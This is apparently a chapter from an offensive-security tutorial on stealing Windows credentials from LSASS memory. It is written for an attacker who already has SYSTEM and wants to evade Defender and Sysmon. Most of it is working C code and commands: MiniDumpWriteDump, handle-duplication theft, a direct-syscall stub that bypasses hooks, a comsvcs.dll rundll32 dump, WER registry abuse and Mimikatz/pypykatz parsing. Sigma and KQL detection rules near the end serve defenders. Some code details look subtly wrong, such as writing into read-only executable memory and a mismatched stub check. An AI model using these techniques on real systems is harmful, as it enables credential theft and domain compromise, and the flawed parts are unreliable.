LSASS Dumping and Credential Extraction
Memory acquisition from lsass.exe: MiniDumpWriteDump, silent process dump via handle duplication, direct syscall reads to bypass AV hooks, LSASS minidump parsing with pypykatz/Mimikatz, Protected Process Light bypass, and the full detection story from Sysmon 10 to MDE alerts.
You've escalated to SYSTEM on a workstation. The domain admin logged in earlier today — their NTLMv1 hash is still in LSASS memory. You need it. But Microsoft Defender for Endpoint is running, and sekurlsa::logonpasswords (the classic Mimikatz command) was blocked in under 2 seconds last time it was tested in the lab. You need an approach that avoids the known Mimikatz signature, avoids the Sysmon Event 10 (ProcessAccess) alert on LSASS with PROCESS_VM_READ rights, and produces a minidump you can exfiltrate for offline parsing. This chapter covers three escalating approaches: classic MiniDumpWriteDump, silent handle-duplication dump, and direct syscall NtReadVirtualMemory to avoid userland hooks.
LSASS Memory and Credential Storage
MiniDumpWriteDump — Classic Approach
// Classic LSASS dump via MiniDumpWriteDump
// Requires: SeDebugPrivilege (SYSTEM has it); writes .dmp file to disk
// Detection: Sysmon 10 (ProcessAccess LSASS with PROCESS_VM_READ)
// Windows Defender flags MiniDumpWriteDump on lsass.exe
#include <windows.h>
#include <dbghelp.h>
#pragma comment(lib, "dbghelp.lib")
BOOL EnableDebugPrivilege() {
HANDLE hToken;
OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
TOKEN_PRIVILEGES tp = {0};
tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
LookupPrivilegeValueW(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
return AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
}
DWORD GetLsassPid() {
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32W pe = { .dwSize = sizeof(pe) };
Process32FirstW(snap, &pe);
do {
if (_wcsicmp(pe.szExeFile, L"lsass.exe") == 0) {
CloseHandle(snap);
return pe.th32ProcessID;
}
} while (Process32NextW(snap, &pe));
CloseHandle(snap);
return 0;
}
BOOL DumpLsass(const wchar_t* outPath) {
EnableDebugPrivilege();
DWORD lsassPid = GetLsassPid();
if (!lsassPid) return FALSE;
HANDLE hProcess = OpenProcess(
PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
FALSE, lsassPid);
if (!hProcess) return FALSE;
HANDLE hFile = CreateFileW(outPath, GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
CloseHandle(hProcess);
return FALSE;
}
BOOL result = MiniDumpWriteDump(hProcess, lsassPid, hFile,
MiniDumpWithFullMemory,
NULL, NULL, NULL);
CloseHandle(hFile);
CloseHandle(hProcess);
return result;
}
// Resulting .dmp: parse offline with Mimikatz:
// sekurlsa::minidump lsass.dmp
// sekurlsa::logonpasswords
Silent LSASS Dump via Handle Duplication
// Evasion technique: don't call OpenProcess on lsass.exe from our own process.
// Instead, find a process that ALREADY has an LSASS handle open (e.g., svchost.exe)
// and duplicate that handle into our process.
// Sysmon 10 triggers on OpenProcess — not on DuplicateHandle from existing handles.
HANDLE StealLsassHandle(DWORD lsassPid) {
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32W pe = { .dwSize = sizeof(pe) };
Process32FirstW(snap, &pe);
do {
// Try every process to see if it has an LSASS handle
HANDLE hOwner = OpenProcess(PROCESS_DUP_HANDLE, FALSE, pe.th32ProcessID);
if (!hOwner) continue;
// Walk the process handle table via NtQuerySystemInformation
// (full implementation uses SystemHandleInformation — abbreviated here)
SYSTEM_HANDLE_INFORMATION_EX* pShi = QuerySystemHandles();
for (ULONG i = 0; i < pShi->NumberOfHandles; i++) {
SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX* h = &pShi->Handles[i];
if (h->UniqueProcessId != pe.th32ProcessID) continue;
if (h->GrantedAccess != (PROCESS_VM_READ | PROCESS_QUERY_INFORMATION)) continue;
// Check if handle points to lsass.exe (PID match via NtQueryInformationProcess)
HANDLE hDup = NULL;
if (DuplicateHandle(hOwner, (HANDLE)h->HandleValue,
GetCurrentProcess(), &hDup,
0, FALSE, DUPLICATE_SAME_ACCESS)) {
PROCESS_BASIC_INFORMATION pbi = {0};
NtQueryInformationProcess(hDup, ProcessBasicInformation, &pbi,
sizeof(pbi), NULL);
if ((DWORD)pbi.UniqueProcessId == lsassPid) {
CloseHandle(hOwner);
CloseHandle(snap);
return hDup; // valid LSASS handle — no direct OpenProcess
}
CloseHandle(hDup);
}
}
CloseHandle(hOwner);
} while (Process32NextW(snap, &pe));
CloseHandle(snap);
return NULL;
}
// With stolen handle: call MiniDumpWriteDump(hStolenHandle, lsassPid, ...)
// Avoids OpenProcess(lsass.exe) from our process — Sysmon 10 won't fire for us
// BUT: Sysmon still logs the DuplicateHandle event (Event 25 on newer Sysmon)
Direct LSASS Read via Syscalls
// Bypass AV hooks on NtReadVirtualMemory by using direct syscalls (syscall stub).
// EDR products hook ntdll.dll functions in user-mode to intercept LSASS reads.
// Direct syscalls skip the hooked ntdll stub and go straight to the kernel.
// Combined with d/Invoke or Hell's Gate: discover syscall numbers at runtime.
typedef NTSTATUS (NTAPI* NtReadVirtualMemory_t)(
HANDLE ProcessHandle, PVOID BaseAddress,
PVOID Buffer, SIZE_T NumberOfBytesToRead, PSIZE_T NumberOfBytesRead);
// Syscall stub (x64 — must be RWX memory or in a code section)
BYTE syscallStub[] = {
0x4C, 0x8B, 0xD1, // mov r10, rcx
0xB8, 0x3F, 0x00, 0x00, 0x00, // mov eax, 0x3F (NtReadVirtualMemory SSN)
0x0F, 0x05, // syscall
0xC3 // ret
};
// SSN (System Service Number) for NtReadVirtualMemory varies by OS build.
// Discover it at runtime: parse the ntdll export table, find NtReadVirtualMemory,
// read bytes at offset 4 — that's the SSN in the clean stub:
// mov eax, → bytes: B8 00 00 00
DWORD GetSSN(const char* funcName) {
HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
BYTE* funcAddr = (BYTE*)GetProcAddress(ntdll, funcName);
// Check for hook: hooked functions start with 0xE9 (JMP) or 0xFF 0x25
// If hooked, walk SSN from adjacent clean syscall stubs (SSN is sequential)
if (funcAddr[0] == 0xB8) return *(DWORD*)(funcAddr + 1);
// Hook detected — use Halos Gate to scan neighboring Nt* functions ±N
// and infer the SSN by offset
return HalosGateSSN(funcAddr);
}
// Full direct-read LSASS dump (simplified):
BOOL DirectReadLsass(HANDLE hProcess, void* buf, SIZE_T size, ULONG_PTR base) {
PVOID stub = VirtualAlloc(NULL, sizeof(syscallStub),
MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READ);
DWORD ssn = GetSSN("NtReadVirtualMemory");
*(DWORD*)(syscallStub + 4) = ssn; // patch SSN into stub
memcpy(stub, syscallStub, sizeof(syscallStub));
NtReadVirtualMemory_t NtRVM = (NtReadVirtualMemory_t)stub;
SIZE_T read;
NTSTATUS s = NtRVM(hProcess, (PVOID)base, buf, size, &read);
VirtualFree(stub, 0, MEM_RELEASE);
return NT_SUCCESS(s);
}
Dump Evasion Techniques
| Technique | What It Evades | How | Trade-off |
|---|---|---|---|
| MiniDumpWriteDump via comsvcs.dll | Binary signatures on known dump tools | rundll32 comsvcs.dll,MiniDump <PID> lsass.dmp full | Still triggers Event 10; living-off-the-land binary |
| Silent process exit dump | Hooks on MiniDumpWriteDump | WerFault.exe + SilentProcessExit triggers Windows Error Reporting dump | Requires registry key; dump written by Windows itself |
| VSS shadow copy + LSASS hive read | Opens LSASS at all | Copy LSASS process dump from shadow copy of C:\ | Needs VSS access; see ch129 for SAM/SYSTEM hives |
| Handle duplication | Sysmon 10 on OpenProcess from our process | Steal handle from an existing process | Sysmon 25 (handle duplicate) still fires in newer configs |
| Direct syscalls + SSN discovery | Userland hooks on ntdll.dll | Bypass hooked Nt* functions with raw syscall instruction | SSN changes between OS builds; requires dynamic discovery |
| PPL bypass via driver | Protected Process Light (PPL) | Kernel driver removes PPL flag from EPROCESS.Protection | Requires code signing or DSE bypass |
# Silent Process Exit dump — comsvcs.dll living-off-the-land
# Built-in Windows DLL; MiniDump export is undocumented but works
# Bypasses detection of custom dump tools (no known binary sigs)
$lsassPid = (Get-Process lsass).Id
rundll32 C:\Windows\System32\comsvcs.dll, MiniDump $lsassPid C:\Temp\lsass.dmp full
# WerFault silent process exit dump (no direct LSASS access from our process):
# 1. Set registry keys to trigger WER dump for lsass.exe
# 2. Force lsass "crash" via TerminateProcess on a child — WER catches it
# NOTE: do NOT actually terminate lsass — the whole system crashes
# Use: HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting\LocalDumps
# DumpType=2 (full dump), DumpFolder=C:\Temp
# Then trigger WerFault.exe via NtRaiseHardError — WER writes dump as NT AUTHORITY\SYSTEM
# Offline parsing with pypykatz (Python, no Windows required)
pypykatz lsa minidump lsass.dmp
# Output: MSV1_0 entries with NT hashes, WDigest plaintext (if enabled),
# Kerberos tickets (base64 .kirbi format)
# Offline parsing with Mimikatz on an isolated VM
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords
Dump Structure and Parsing
Detection Engineering
-- Detection signals for LSASS credential dumping
-- Event IDs:
-- 4656: Object access requested on LSASS process object
-- 4663: Object access performed (PROCESS_VM_READ on lsass.exe)
-- Sysmon 10: ProcessAccess — most important LSASS dump signal
-- Sysmon 9: RawAccessRead — raw disk access (VSS alternative)
-- Sigma: ProcessAccess on LSASS (highest priority rule)
title: LSASS Process Access — Credential Dumping
logsource:
product: windows
category: process_access
detection:
selection:
EventID: 10
TargetImage|endswith: '\lsass.exe'
GrantedAccess|contains:
- '0x1010' # PROCESS_VM_READ | PROCESS_QUERY_LIMITED_INFORMATION
- '0x1410' # includes PROCESS_VM_WRITE
- '0x143a' # Mimikatz access mask
- '0x40' # PROCESS_DUP_HANDLE (handle theft detection)
filter_legit:
SourceImage|endswith:
- '\wmiprvse.exe'
- '\taskmgr.exe'
- '\csrss.exe'
condition: selection AND NOT filter_legit
level: critical
tags: [ attack.credential_access, attack.t1003.001 ]
-- Sigma: comsvcs.dll MiniDump (LOTL technique)
title: Suspicious MiniDump via comsvcs.dll (LSASS Dump)
logsource:
product: windows
category: process_creation
detection:
selection:
Image|endswith: '\rundll32.exe'
CommandLine|contains|all:
- 'comsvcs'
- 'MiniDump'
condition: selection
level: critical
-- MDE KQL: lsass.exe dump file created on disk
DeviceFileEvents
| where FileName endswith ".dmp"
or FileName =~ "lsass.dmp"
| where InitiatingProcessFileName in~ ("rundll32.exe", "taskmgr.exe",
"comsvcs.dll", "WerFault.exe")
| project Timestamp, DeviceName, FileName, FolderPath,
InitiatingProcessFileName, InitiatingProcessCommandLine
Microsoft Credential Guard (Virtualization Based Security) moves NTLM hashes and Kerberos credentials into a secure Virtual Trust Level (VTL1) memory region that no user-mode or even kernel-mode code in VTL0 can read. When Credential Guard is enabled, LSASS dumping will yield empty credential entries — the hashes simply aren't in the process memory. LSASS in this configuration holds only an encrypted blob; the decryption key is in the secure world. Detection engineers should check for Credential Guard enablement in their environment as a primary hardening recommendation before deploying dump detection alerts.
Q&A
What's the difference in EDR alerting between MiniDumpWriteDump, comsvcs.dll, and direct syscall approaches?
All three approaches must eventually call something equivalent to NtReadVirtualMemory on the LSASS process — that is unavoidable. The variation is in what the EDR product can intercept. MiniDumpWriteDump from a custom binary: EDR hooks MiniDumpWriteDump in dbghelp.dll + hooks NtReadVirtualMemory + detects OpenProcess on LSASS via Sysmon 10. Most commercial EDRs block this outright and alert at all three layers. comsvcs.dll LOTL: avoids custom binary signatures, but the DLL itself is monitored and rundll32 calling comsvcs.dll + MiniDump with an LSASS PID is a well-known detection rule. Sysmon 10 still fires. Direct syscalls: bypasses userland hooks on ntdll.dll, but kernel callbacks (PsSetCreateProcessNotifyRoutine, ObRegisterCallbacks) still fire at the kernel level — these are how EDRs like CrowdStrike/SentinelOne detect even direct-syscall attackers. The kernel callback sees the process object access regardless of whether it came through ntdll. The most evasive modern approaches combine: direct syscalls + handle duplication (to avoid OpenProcess on LSASS appearing in our process) + encrypting the dump in memory before touching disk. Even then, process ancestry and behavioral scoring (why is this process reading LSASS memory?) will catch most realistic attacks in a mature EDR deployment.